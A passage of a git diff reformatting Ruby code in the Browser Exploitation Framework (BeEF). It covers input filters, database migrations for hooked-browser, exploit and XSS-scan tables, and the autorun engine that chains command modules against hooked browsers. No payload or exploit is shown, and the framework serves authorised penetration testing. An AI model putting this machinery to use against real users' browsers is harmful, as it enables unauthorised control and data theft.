/[^\w\d\s()-.,';_!\302\256]/u).nil? - else - return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? + # Verify the cookies are valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid cookie characters + def self.is_valid_cookies?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 2000 + + true + end + + # Verify the system platform is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid system platform characters + def self.is_valid_system_platform?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the date stamp is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid date stamp characters + def self.is_valid_date_stamp?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the CPU type string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid CPU type characters + def self.is_valid_cpu?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the memory string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid memory type characters + def self.is_valid_memory?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the GPU type string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid GPU type characters + def self.is_valid_gpu?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 200 + + true + end + + # Verify the browser_plugins string is valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid browser plugin characters + # @note This string can be empty if there are no browser plugins + # @todo Verify if the ruby version statement is still necessary + def self.is_valid_browser_plugins?(str) + return false unless is_non_empty_string?(str) + return false if str.length > 1000 + + if str.encoding === Encoding.find('UTF-8') + (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil? + else + (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil? + end end end - -end end diff --git a/core/filters/command.rb b/core/filters/command.rb index 7607a0fdf..65d2f5880 100644 --- a/core/filters/command.rb +++ b/core/filters/command.rb @@ -4,64 +4,68 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Check if the string is a valid path from a HTTP request - # @param [String] str String for testing - # @return [Boolean] If the string has valid path characters - def self.is_valid_path_info?(str) - return false if str.nil? - return false unless str.is_a? String - return false if has_non_printable_char?(str) - true - end + module Filters + # Check if the string is a valid path from a HTTP request + # @param [String] str String for testing + # @return [Boolean] If the string has valid path characters + def self.is_valid_path_info?(str) + return false if str.nil? + return false unless str.is_a? String + return false if has_non_printable_char?(str) - # Check if the session id valid - # @param [String] str String for testing - # @return [Boolean] If the string has valid hook session id characters - def self.is_valid_hook_session_id?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_key_chars?(str) - true - end + true + end - # Check if valid command module datastore key - # @param [String] str String for testing - # @return [Boolean] If the string has valid command module datastore key characters - def self.is_valid_command_module_datastore_key?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_key_chars?(str) - true - end + # Check if the session id valid + # @param [String] str String for testing + # @return [Boolean] If the string has valid hook session id characters + def self.is_valid_hook_session_id?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_key_chars?(str) - # Check if valid command module datastore value - # @param [String] str String for testing - # @return [Boolean] If the string has valid command module datastore param characters - def self.is_valid_command_module_datastore_param?(str) - return false if has_null?(str) - return false unless has_valid_base_chars?(str) - true - end + true + end - # Check for word and some punc chars - # @param [String] str String for testing - # @return [Boolean] If the string has valid key characters - def self.has_valid_key_chars?(str) - return false unless is_non_empty_string?(str) - return false unless has_valid_base_chars?(str) - true - end + # Check if valid command module datastore key + # @param [String] str String for testing + # @return [Boolean] If the string has valid command module datastore key characters + def self.is_valid_command_module_datastore_key?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_key_chars?(str) - # Check for word and underscore chars - # @param [String] str String for testing - # @return [Boolean] If the sting has valid param characters - def self.has_valid_param_chars?(str) - return false if str.nil? - return false unless str.is_a? String - return false if str.empty? - return false unless (str =~ /[^\w_\:]/).nil? - true - end + true + end -end + # Check if valid command module datastore value + # @param [String] str String for testing + # @return [Boolean] If the string has valid command module datastore param characters + def self.is_valid_command_module_datastore_param?(str) + return false if has_null?(str) + return false unless has_valid_base_chars?(str) + + true + end + + # Check for word and some punc chars + # @param [String] str String for testing + # @return [Boolean] If the string has valid key characters + def self.has_valid_key_chars?(str) + return false unless is_non_empty_string?(str) + return false unless has_valid_base_chars?(str) + + true + end + + # Check for word and underscore chars + # @param [String] str String for testing + # @return [Boolean] If the sting has valid param characters + def self.has_valid_param_chars?(str) + return false if str.nil? + return false unless str.is_a? String + return false if str.empty? + return false unless (str =~ /[^\w_:]/).nil? + + true + end + end end diff --git a/core/filters/http.rb b/core/filters/http.rb index 4b049bf58..db3613a4a 100644 --- a/core/filters/http.rb +++ b/core/filters/http.rb @@ -3,59 +3,60 @@ # Browser Exploitation Framework (BeEF) - http://beefproject.com # See the file 'doc/COPYING' for copying permission # -module BeEF -module Filters - - # Verify the hostname string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid hostname - def self.is_valid_hostname?(str) - return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) - return false if str.length > 255 - return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil? - true +module BeEF + module Filters + # Verify the hostname string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid hostname + def self.is_valid_hostname?(str) + return false unless is_non_empty_string?(str) + return false if has_non_printable_char?(str) + return false if str.length > 255 + return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-.]*[a-zA-Z0-9]$/).nil? + + true + end + + def self.is_valid_verb?(verb) + %w[HEAD GET POST OPTIONS PUT DELETE].each { |v| return true if verb.eql? v } + false + end + + def self.is_valid_url?(uri) + return true unless uri.nil? + + # OPTIONS * is not yet supported + # return true if uri.eql? "*" + # TODO : CHECK THE normalize_path method and include it somewhere (maybe here) + # return true if uri.eql? self.normalize_path(uri) + false + end + + def self.is_valid_http_version?(version) + # from browsers the http version contains a space at the end ("HTTP/1.0\r") + version.gsub!(/\r+/, '') + ['HTTP/1.0', 'HTTP/1.1'].each { |v| return true if version.eql? v } + false + end + + def self.is_valid_host_str?(host_str) + # from browsers the host header contains a space at the end + host_str.gsub!(/\r+/, '') + return true if 'Host:'.eql?(host_str) + + false + end + + def normalize_path(path) + print_error "abnormal path `#{path}'" if path[0] != '/' + ret = path.dup + + ret.gsub!(%r{/+}o, '/') # // => / + while ret.sub!(%r{/\.(?:/|\Z)}, '/'); end # /. => / + while ret.sub!(%r{/(?!\.\./)[^/]+/\.\.(?:/|\Z)}, '/'); end # /foo/.. => /foo + + print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret + ret + end end - - def self.is_valid_verb?(verb) - ["HEAD", "GET", "POST", "OPTIONS", "PUT", "DELETE"].each {|v| return true if verb.eql? v } - false - end - - def self.is_valid_url?(uri) - return true if !uri.nil? - # OPTIONS * is not yet supported - #return true if uri.eql? "*" - # TODO : CHECK THE normalize_path method and include it somewhere (maybe here) - #return true if uri.eql? self.normalize_path(uri) - false - end - - def self.is_valid_http_version?(version) - # from browsers the http version contains a space at the end ("HTTP/1.0\r") - version.gsub!(/[\r]+/,"") - ["HTTP/1.0", "HTTP/1.1"].each {|v| return true if version.eql? v } - false - end - - def self.is_valid_host_str?(host_str) - # from browsers the host header contains a space at the end - host_str.gsub!(/[\r]+/,"") - return true if "Host:".eql?(host_str) - false - end - - def normalize_path(path) - print_error "abnormal path `#{path}'" if path[0] != ?/ - ret = path.dup - - ret.gsub!(%r{/+}o, '/') # // => / - while ret.sub!(%r'/\.(?:/|\Z)', '/'); end # /. => / - while ret.sub!(%r'/(?!\.\./)[^/]+/\.\.(?:/|\Z)', '/'); end # /foo/.. => /foo - - print_error "abnormal path `#{path}'" if %r{/\.\.(/|\Z)} =~ ret - ret - end - -end end diff --git a/core/filters/page.rb b/core/filters/page.rb index 9aa594adb..e6b9986d2 100644 --- a/core/filters/page.rb +++ b/core/filters/page.rb @@ -4,27 +4,27 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Filters - - # Verify the page title string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid page title - def self.is_valid_pagetitle?(str) - return false unless str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer - true - end + module Filters + # Verify the page title string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid page title + def self.is_valid_pagetitle?(str) + return false unless str.is_a? String + return false if has_non_printable_char?(str) + return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer - # Verify the page referrer string is valid - # @param [String] str String for testing - # @return [Boolean] If the string is a valid referrer - def self.is_valid_pagereferrer?(str) - return false unless str.is_a? String - return false if has_non_printable_char?(str) - return false if str.length > 350 - true + true + end + + # Verify the page referrer string is valid + # @param [String] str String for testing + # @return [Boolean] If the string is a valid referrer + def self.is_valid_pagereferrer?(str) + return false unless str.is_a? String + return false if has_non_printable_char?(str) + return false if str.length > 350 + + true + end end - -end end diff --git a/core/hbmanager.rb b/core/hbmanager.rb index dab1a6ac1..09f194708 100644 --- a/core/hbmanager.rb +++ b/core/hbmanager.rb @@ -5,12 +5,11 @@ # module BeEF module HBManager - # Get hooked browser by session id # @param [String] sid hooked browser session id string # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser def self.get_by_session(sid) - BeEF::Core::Models::HookedBrowser.where(:session => sid).first + BeEF::Core::Models::HookedBrowser.where(session: sid).first end # Get hooked browser by id @@ -19,6 +18,5 @@ module BeEF def self.get_by_id(id) BeEF::Core::Models::HookedBrowser.find(id) end - end end diff --git a/core/logger.rb b/core/logger.rb index d2ca88d7c..487244fac 100644 --- a/core/logger.rb +++ b/core/logger.rb @@ -12,8 +12,8 @@ module BeEF attr_writer :logger def logger - @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| - log.progname = self.name + @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log| + log.progname = name log.level = Logger::WARN end end diff --git a/core/main/ar-migrations/001_create_command_modules.rb b/core/main/ar-migrations/001_create_command_modules.rb index d43259b89..646554b77 100644 --- a/core/main/ar-migrations/001_create_command_modules.rb +++ b/core/main/ar-migrations/001_create_command_modules.rb @@ -1,12 +1,8 @@ class CreateCommandModules < ActiveRecord::Migration[6.0] - - def change - - create_table :command_modules do |t| - t.text :name - t.text :path - end - - end - + def change + create_table :command_modules do |t| + t.text :name + t.text :path + end + end end diff --git a/core/main/ar-migrations/002_create_hooked_browsers.rb b/core/main/ar-migrations/002_create_hooked_browsers.rb index c1e932888..4fb6aaf0a 100644 --- a/core/main/ar-migrations/002_create_hooked_browsers.rb +++ b/core/main/ar-migrations/002_create_hooked_browsers.rb @@ -1,19 +1,15 @@ class CreateHookedBrowsers < ActiveRecord::Migration[6.0] - - def change - - create_table :hooked_browsers do |t| - t.text :session - t.text :ip - t.text :firstseen - t.text :lastseen - t.text :httpheaders - t.text :domain - t.integer :port - t.integer :count - t.boolean :is_proxy - end - - end - + def change + create_table :hooked_browsers do |t| + t.text :session + t.text :ip + t.text :firstseen + t.text :lastseen + t.text :httpheaders + t.text :domain + t.integer :port + t.integer :count + t.boolean :is_proxy + end + end end diff --git a/core/main/ar-migrations/003_create_logs.rb b/core/main/ar-migrations/003_create_logs.rb index e3614718a..1a83c0d61 100644 --- a/core/main/ar-migrations/003_create_logs.rb +++ b/core/main/ar-migrations/003_create_logs.rb @@ -1,14 +1,10 @@ class CreateLogs < ActiveRecord::Migration[6.0] - - def change - - create_table :logs do |t| - t.text :logtype - t.text :event - t.datetime :date - t.references :hooked_browser - end - - end - + def change + create_table :logs do |t| + t.text :logtype + t.text :event + t.datetime :date + t.references :hooked_browser + end + end end diff --git a/core/main/ar-migrations/004_create_commands.rb b/core/main/ar-migrations/004_create_commands.rb index 20c9d632a..fe8cad65c 100644 --- a/core/main/ar-migrations/004_create_commands.rb +++ b/core/main/ar-migrations/004_create_commands.rb @@ -1,16 +1,12 @@ class CreateCommands < ActiveRecord::Migration[6.0] - - def change - - create_table :commands do |t| - t.references :command_module - t.references :hooked_browser - t.text :data - t.datetime :creationdate - t.text :label - t.boolean :instructions_sent, default: false - end - - end - + def change + create_table :commands do |t| + t.references :command_module + t.references :hooked_browser + t.text :data + t.datetime :creationdate + t.text :label + t.boolean :instructions_sent, default: false + end + end end diff --git a/core/main/ar-migrations/005_create_results.rb b/core/main/ar-migrations/005_create_results.rb index 97d1c6fad..bd79f9e50 100644 --- a/core/main/ar-migrations/005_create_results.rb +++ b/core/main/ar-migrations/005_create_results.rb @@ -1,15 +1,11 @@ class CreateResults < ActiveRecord::Migration[6.0] - - def change - - create_table :results do |t| - t.references :command - t.references :hooked_browser - t.datetime :date - t.integer :status - t.text :data - end - - end - + def change + create_table :results do |t| + t.references :command + t.references :hooked_browser + t.datetime :date + t.integer :status + t.text :data + end + end end diff --git a/core/main/ar-migrations/006_create_option_caches.rb b/core/main/ar-migrations/006_create_option_caches.rb index 6f605663a..02d871d66 100644 --- a/core/main/ar-migrations/006_create_option_caches.rb +++ b/core/main/ar-migrations/006_create_option_caches.rb @@ -1,12 +1,8 @@ class CreateOptionCaches < ActiveRecord::Migration[6.0] - - def change - - create_table :option_caches do |t| - t.text :name - t.text :value - end - - end - + def change + create_table :option_caches do |t| + t.text :name + t.text :value + end + end end diff --git a/core/main/ar-migrations/007_create_browser_details.rb b/core/main/ar-migrations/007_create_browser_details.rb index 5404453d2..8aa051277 100644 --- a/core/main/ar-migrations/007_create_browser_details.rb +++ b/core/main/ar-migrations/007_create_browser_details.rb @@ -1,13 +1,9 @@ class CreateBrowserDetails < ActiveRecord::Migration[6.0] - - def change - - create_table :browser_details do |t| - t.text :session_id - t.text :detail_key - t.text :detail_value - end - - end - + def change + create_table :browser_details do |t| + t.text :session_id + t.text :detail_key + t.text :detail_value + end + end end diff --git a/core/main/ar-migrations/008_create_executions.rb b/core/main/ar-migrations/008_create_executions.rb index deeb4206e..b209e444d 100644 --- a/core/main/ar-migrations/008_create_executions.rb +++ b/core/main/ar-migrations/008_create_executions.rb @@ -1,18 +1,14 @@ class CreateExecutions < ActiveRecord::Migration[6.0] - - def change - - create_table :executions do |t| - t.text :session_id - t.integer :mod_count - t.integer :mod_successful - t.text :mod_body - t.text :exec_time - t.text :rule_token - t.boolean :is_sent - t.integer :rule_id - end - - end - + def change + create_table :executions do |t| + t.text :session_id + t.integer :mod_count + t.integer :mod_successful + t.text :mod_body + t.text :exec_time + t.text :rule_token + t.boolean :is_sent + t.integer :rule_id + end + end end diff --git a/core/main/ar-migrations/009_create_rules.rb b/core/main/ar-migrations/009_create_rules.rb index de5367791..80cf2f79a 100644 --- a/core/main/ar-migrations/009_create_rules.rb +++ b/core/main/ar-migrations/009_create_rules.rb @@ -1,20 +1,16 @@ class CreateRules < ActiveRecord::Migration[6.0] - - def change - - create_table :rules do |t| - t.text :name - t.text :author - t.text :browser - t.text :browser_version - t.text :os - t.text :os_version - t.text :modules - t.text :execution_order - t.text :execution_delay - t.text :chain_mode - end - - end - + def change + create_table :rules do |t| + t.text :name + t.text :author + t.text :browser + t.text :browser_version + t.text :os + t.text :os_version + t.text :modules + t.text :execution_order + t.text :execution_delay + t.text :chain_mode + end + end end diff --git a/core/main/ar-migrations/010_create_interceptor.rb b/core/main/ar-migrations/010_create_interceptor.rb index 1dbb6d6b7..2edca9d08 100644 --- a/core/main/ar-migrations/010_create_interceptor.rb +++ b/core/main/ar-migrations/010_create_interceptor.rb @@ -1,12 +1,8 @@ class CreateInterceptor < ActiveRecord::Migration[6.0] - - def change - - create_table :interceptors do |t| - t.text :ip - t.text :post_data - end - - end - + def change + create_table :interceptors do |t| + t.text :ip + t.text :post_data + end + end end diff --git a/core/main/ar-migrations/011_create_web_cloner.rb b/core/main/ar-migrations/011_create_web_cloner.rb index 38c351ad6..1b7457c6e 100644 --- a/core/main/ar-migrations/011_create_web_cloner.rb +++ b/core/main/ar-migrations/011_create_web_cloner.rb @@ -1,12 +1,8 @@ class CreateWebCloner < ActiveRecord::Migration[6.0] - - def change - - create_table :web_cloners do |t| - t.text :uri - t.text :mount - end - - end - + def change + create_table :web_cloners do |t| + t.text :uri + t.text :mount + end + end end diff --git a/core/main/ar-migrations/012_create_mass_mailer.rb b/core/main/ar-migrations/012_create_mass_mailer.rb index d4816f186..5225639e1 100644 --- a/core/main/ar-migrations/012_create_mass_mailer.rb +++ b/core/main/ar-migrations/012_create_mass_mailer.rb @@ -1,11 +1,7 @@ class CreateMassMailer < ActiveRecord::Migration[6.0] - - def change - - create_table :mass_mailers do |t| - #todo fields - end - - end - + def change + create_table :mass_mailers do |t| + # TODO: fields + end + end end diff --git a/core/main/ar-migrations/013_create_network_host.rb b/core/main/ar-migrations/013_create_network_host.rb index 3c977b247..4381042b7 100644 --- a/core/main/ar-migrations/013_create_network_host.rb +++ b/core/main/ar-migrations/013_create_network_host.rb @@ -1,17 +1,13 @@ class CreateNetworkHost < ActiveRecord::Migration[6.0] - - def change - - create_table :network_hosts do |t| - t.references :hooked_browser - t.text :ip - t.text :hostname - t.text :ntype - t.text :os - t.text :mac - t.text :lastseen - end - - end - + def change + create_table :network_hosts do |t| + t.references :hooked_browser + t.text :ip + t.text :hostname + t.text :ntype + t.text :os + t.text :mac + t.text :lastseen + end + end end diff --git a/core/main/ar-migrations/014_create_network_service.rb b/core/main/ar-migrations/014_create_network_service.rb index 1f521a19e..abe1d5765 100644 --- a/core/main/ar-migrations/014_create_network_service.rb +++ b/core/main/ar-migrations/014_create_network_service.rb @@ -1,15 +1,11 @@ class CreateNetworkService < ActiveRecord::Migration[6.0] - - def change - - create_table :network_services do |t| - t.references :hooked_browser - t.text :proto - t.text :ip - t.text :port - t.text :ntype - end - - end - + def change + create_table :network_services do |t| + t.references :hooked_browser + t.text :proto + t.text :ip + t.text :port + t.text :ntype + end + end end diff --git a/core/main/ar-migrations/015_create_http.rb b/core/main/ar-migrations/015_create_http.rb index 184f8844b..aa3823f8b 100644 --- a/core/main/ar-migrations/015_create_http.rb +++ b/core/main/ar-migrations/015_create_http.rb @@ -1,44 +1,40 @@ class CreateHttp < ActiveRecord::Migration[6.0] - - def change - - create_table :https do |t| - t.text :hooked_browser_id - # The http request to perform. In clear text. - t.text :request - # Boolean value as string to say whether cross-domain requests are allowed - t.boolean :allow_cross_domain, :default => true - # The http response body received. In clear text. - t.text :response_data - # The http response code. Useful to handle cases like 404, 500, 302, ... - t.integer :response_status_code - # The http response code. Human-readable code: success, error, ecc.. - t.text :response_status_text - # The port status. closed, open or not http - t.text :response_port_status - # The XHR Http response raw headers - t.text :response_headers - # The http response method. GET or POST. - t.text :method - # The content length for the request. - t.text :content_length, :default => 0 - # The request protocol/scheme (http/https) - t.text :proto - # The domain on which perform the request. - t.text :domain - # The port on which perform the request. - t.text :port - # Boolean value to say if the request was cross-domain - t.text :has_ran, :default => "waiting" - # The path of the request. - # Example: /secret.html - t.text :path - # The date at which the http response has been saved. - t.datetime :response_date - # The date at which the http request has been saved. - t.datetime :request_date - end - - end - + def change + create_table :https do |t| + t.text :hooked_browser_id + # The http request to perform. In clear text. + t.text :request + # Boolean value as string to say whether cross-domain requests are allowed + t.boolean :allow_cross_domain, default: true + # The http response body received. In clear text. + t.text :response_data + # The http response code. Useful to handle cases like 404, 500, 302, ... + t.integer :response_status_code + # The http response code. Human-readable code: success, error, ecc.. + t.text :response_status_text + # The port status. closed, open or not http + t.text :response_port_status + # The XHR Http response raw headers + t.text :response_headers + # The http response method. GET or POST. + t.text :method + # The content length for the request. + t.text :content_length, default: 0 + # The request protocol/scheme (http/https) + t.text :proto + # The domain on which perform the request. + t.text :domain + # The port on which perform the request. + t.text :port + # Boolean value to say if the request was cross-domain + t.text :has_ran, default: 'waiting' + # The path of the request. + # Example: /secret.html + t.text :path + # The date at which the http response has been saved. + t.datetime :response_date + # The date at which the http request has been saved. + t.datetime :request_date + end + end end diff --git a/core/main/ar-migrations/016_create_rtc_status.rb b/core/main/ar-migrations/016_create_rtc_status.rb index dae86650e..f80bd18f6 100644 --- a/core/main/ar-migrations/016_create_rtc_status.rb +++ b/core/main/ar-migrations/016_create_rtc_status.rb @@ -1,13 +1,9 @@ class CreateRtcStatus < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_statuss do |t| - t.references :hooked_browser - t.integer :target_hooked_browser_id - t.text :status - end - - end - + def change + create_table :rtc_statuss do |t| + t.references :hooked_browser + t.integer :target_hooked_browser_id + t.text :status + end + end end diff --git a/core/main/ar-migrations/017_create_rtc_manage.rb b/core/main/ar-migrations/017_create_rtc_manage.rb index 16239ad7e..3a1d001b4 100644 --- a/core/main/ar-migrations/017_create_rtc_manage.rb +++ b/core/main/ar-migrations/017_create_rtc_manage.rb @@ -1,13 +1,9 @@ class CreateRtcManage < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_manages do |t| - t.references :hooked_browser - t.text :message - t.text :has_sent, default: "waiting" - end - - end - + def change + create_table :rtc_manages do |t| + t.references :hooked_browser + t.text :message + t.text :has_sent, default: 'waiting' + end + end end diff --git a/core/main/ar-migrations/018_create_rtc_signal.rb b/core/main/ar-migrations/018_create_rtc_signal.rb index 5d1b0b7cc..4ee451dd4 100644 --- a/core/main/ar-migrations/018_create_rtc_signal.rb +++ b/core/main/ar-migrations/018_create_rtc_signal.rb @@ -1,14 +1,10 @@ class CreateRtcSignal < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_signals do |t| - t.references :hooked_browser - t.integer :target_hooked_browser_id - t.text :signal - t.text :has_sent, default: "waiting" - end - - end - + def change + create_table :rtc_signals do |t| + t.references :hooked_browser + t.integer :target_hooked_browser_id + t.text :signal + t.text :has_sent, default: 'waiting' + end + end end diff --git a/core/main/ar-migrations/019_create_rtc_module_status.rb b/core/main/ar-migrations/019_create_rtc_module_status.rb index abeb941c3..9638643da 100644 --- a/core/main/ar-migrations/019_create_rtc_module_status.rb +++ b/core/main/ar-migrations/019_create_rtc_module_status.rb @@ -1,14 +1,10 @@ class CreateRtcModuleStatus < ActiveRecord::Migration[6.0] - - def change - - create_table :rtc_module_statuss do |t| - t.references :hooked_browser - t.references :command_module - t.integer :target_hooked_browser_id - t.text :status - end - - end - + def change + create_table :rtc_module_statuss do |t| + t.references :hooked_browser + t.references :command_module + t.integer :target_hooked_browser_id + t.text :status + end + end end diff --git a/core/main/ar-migrations/020_create_xssrays_detail.rb b/core/main/ar-migrations/020_create_xssrays_detail.rb index 22900b501..e8f065d58 100644 --- a/core/main/ar-migrations/020_create_xssrays_detail.rb +++ b/core/main/ar-migrations/020_create_xssrays_detail.rb @@ -1,14 +1,10 @@ class CreateXssraysDetail < ActiveRecord::Migration[6.0] - - def change - - create_table :xssraysdetails do |t| - t.references :hooked_browser - t.text :vector_name - t.text :vector_method - t.text :vector_poc - end - - end - + def change + create_table :xssraysdetails do |t| + t.references :hooked_browser + t.text :vector_name + t.text :vector_method + t.text :vector_poc + end + end end diff --git a/core/main/ar-migrations/021_create_dns_rule.rb b/core/main/ar-migrations/021_create_dns_rule.rb index bcc877b36..daf1e274b 100644 --- a/core/main/ar-migrations/021_create_dns_rule.rb +++ b/core/main/ar-migrations/021_create_dns_rule.rb @@ -1,14 +1,10 @@ class CreateDnsRule < ActiveRecord::Migration[6.0] - - def change - - create_table :dns_rules do |t| - t.text :pattern - t.text :resource - t.text :response - t.text :callback - end - - end - + def change + create_table :dns_rules do |t| + t.text :pattern + t.text :resource + t.text :response + t.text :callback + end + end end diff --git a/core/main/ar-migrations/022_create_ipec_exploit.rb b/core/main/ar-migrations/022_create_ipec_exploit.rb index 228d1afc0..6bf6ed46a 100644 --- a/core/main/ar-migrations/022_create_ipec_exploit.rb +++ b/core/main/ar-migrations/022_create_ipec_exploit.rb @@ -1,13 +1,9 @@ class CreateIpecExploit < ActiveRecord::Migration[6.0] - - def change - - create_table :ipec_exploits do |t| - t.text :name - t.text :protocol - t.text :os - end - - end - + def change + create_table :ipec_exploits do |t| + t.text :name + t.text :protocol + t.text :os + end + end end diff --git a/core/main/ar-migrations/023_create_ipec_exploit_run.rb b/core/main/ar-migrations/023_create_ipec_exploit_run.rb index 7b7526665..d48c8eabf 100644 --- a/core/main/ar-migrations/023_create_ipec_exploit_run.rb +++ b/core/main/ar-migrations/023_create_ipec_exploit_run.rb @@ -1,13 +1,9 @@ class CreateIpecExploitRun < ActiveRecord::Migration[6.0] - - def change - - create_table :ipec_exploit_runs do |t| - t.boolean :launched - t.text :http_headers - t.text :junk_size - end - - end - + def change + create_table :ipec_exploit_runs do |t| + t.boolean :launched + t.text :http_headers + t.text :junk_size + end + end end diff --git a/core/main/ar-migrations/024_create_autoloader.rb b/core/main/ar-migrations/024_create_autoloader.rb index 4ebe1197a..a88e06d8f 100644 --- a/core/main/ar-migrations/024_create_autoloader.rb +++ b/core/main/ar-migrations/024_create_autoloader.rb @@ -1,12 +1,8 @@ class CreateAutoloader < ActiveRecord::Migration[6.0] - - def change - - create_table :autoloaders do |t| - t.references :command - t.boolean :in_use - end - - end - + def change + create_table :autoloaders do |t| + t.references :command + t.boolean :in_use + end + end end diff --git a/core/main/ar-migrations/025_create_xssrays_scan.rb b/core/main/ar-migrations/025_create_xssrays_scan.rb index 67122a5f9..04bf64266 100644 --- a/core/main/ar-migrations/025_create_xssrays_scan.rb +++ b/core/main/ar-migrations/025_create_xssrays_scan.rb @@ -1,18 +1,14 @@ class CreateXssraysScan < ActiveRecord::Migration[6.0] - - def change - - create_table :xssraysscans do |t| - t.references :hooked_browser - t.datetime :scan_start - t.datetime :scan_finish - t.text :domain - t.text :cross_domain - t.integer :clean_timeout - t.boolean :is_started - t.boolean :is_finished - end - - end - + def change + create_table :xssraysscans do |t| + t.references :hooked_browser + t.datetime :scan_start + t.datetime :scan_finish + t.text :domain + t.text :cross_domain + t.integer :clean_timeout + t.boolean :is_started + t.boolean :is_finished + end + end end diff --git a/core/main/autorun_engine/engine.rb b/core/main/autorun_engine/engine.rb index 88d0c9f19..99b9d225e 100644 --- a/core/main/autorun_engine/engine.rb +++ b/core/main/autorun_engine/engine.rb @@ -6,9 +6,7 @@ module BeEF module Core module AutorunEngine - class Engine - include Singleton def initialize @@ -20,8 +18,8 @@ module BeEF @debug_on = @config.get('beef.debug') - @VERSION = ['<','<=','==','>=','>','ALL'] - @VERSION_STR = ['XP','Vista'] + @VERSION = ['<', '<=', '==', '>=', '>', 'ALL'] + @VERSION_STR = %w[XP Vista] end # Check if the hooked browser type/version and OS type/version match any Rule-sets @@ -30,13 +28,12 @@ module BeEF def run(hb_id, browser_name, browser_version, os_name, os_version) are = BeEF::Core::AutorunEngine::Engine.instance match_rules = are.match(browser_name, browser_version, os_name, os_version) - are.trigger(match_rules, hb_id) if match_rules !=nil && match_rules.length > 0 + are.trigger(match_rules, hb_id) if !match_rules.nil? && match_rules.length > 0 end # Prepare and return the JavaScript of the modules to be sent. # It also updates the rules ARE execution table with timings def trigger(rule_ids, hb_id) - hb = BeEF::HBManager.get_by_id(hb_id) hb_session = hb.session @@ -48,26 +45,25 @@ module BeEF execution_delay = JSON.parse(rule.execution_delay) chain_mode = rule.chain_mode - mods_bodies = Array.new - mods_codes = Array.new - mods_conditions = Array.new + mods_bodies = [] + mods_codes = [] + mods_conditions = [] # this ensures that if both rule A and rule B call the same module in sequential mode, # execution will be correct preventing wrapper functions to be called with equal names. rule_token = SecureRandom.hex(5) modules.each do |cmd_mod| - mod = BeEF::Core::Models::CommandModule.where(:name => cmd_mod['name']).first + mod = BeEF::Core::Models::CommandModule.where(name: cmd_mod['name']).first options = [] replace_input = false - cmd_mod['options'].each do|k,v| - options.push({'name' => k, 'value' => v}) + cmd_mod['options'].each do |k, v| + options.push({ 'name' => k, 'value' => v }) replace_input = true if v == '<>' end command_body = prepare_command(mod, options, hb_id, replace_input, rule_token) - mods_bodies.push(command_body) mods_codes.push(cmd_mod['code']) mods_conditions.push(cmd_mod['condition']) @@ -75,32 +71,31 @@ module BeEF # Depending on the chosen chain mode (sequential or nested/forward), prepare the appropriate wrapper case chain_mode - when 'nested-forward' - wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) - when 'sequential' - wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) - else - wrapper = nil - print_error "Chain mode looks wrong!" - # TODO catch error, which should never happen as values are checked way before ;-) + when 'nested-forward' + wrapper = prepare_nested_forward_wrapper(mods_bodies, mods_codes, mods_conditions, execution_order, rule_token) + when 'sequential' + wrapper = prepare_sequential_wrapper(mods_bodies, execution_order, execution_delay, rule_token) + else + wrapper = nil + print_error 'Chain mode looks wrong!' + # TODO: catch error, which should never happen as values are checked way before ;-) end are_exec = BeEF::Core::Models::Execution.new( - :session_id => hb_session, - :mod_count => modules.length, - :mod_successful => 0, - :rule_token => rule_token, - :mod_body => wrapper, - :is_sent => false, - :id => rule_id + session_id: hb_session, + mod_count: modules.length, + mod_successful: 0, + rule_token: rule_token, + mod_body: wrapper, + is_sent: false, + id: rule_id ) are_exec.save! # Once Engine.check() verified that the hooked browser match a Rule, trigger the Rule ;-) - print_more "Triggering ruleset #{rule_ids.to_s} on HB #{hb_id}" + print_more "Triggering ruleset #{rule_ids} on HB #{hb_id}" end end - # Wraps module bodies in their own function, using setTimeout to trigger them with an eventual delay. # Launch order is also taken care of. # - sequential chain with delays (setTimeout stuff) @@ -114,7 +109,7 @@ module BeEF delayed_exec = '' c = 0 while c < mods.length - delayed_exec += %Q| 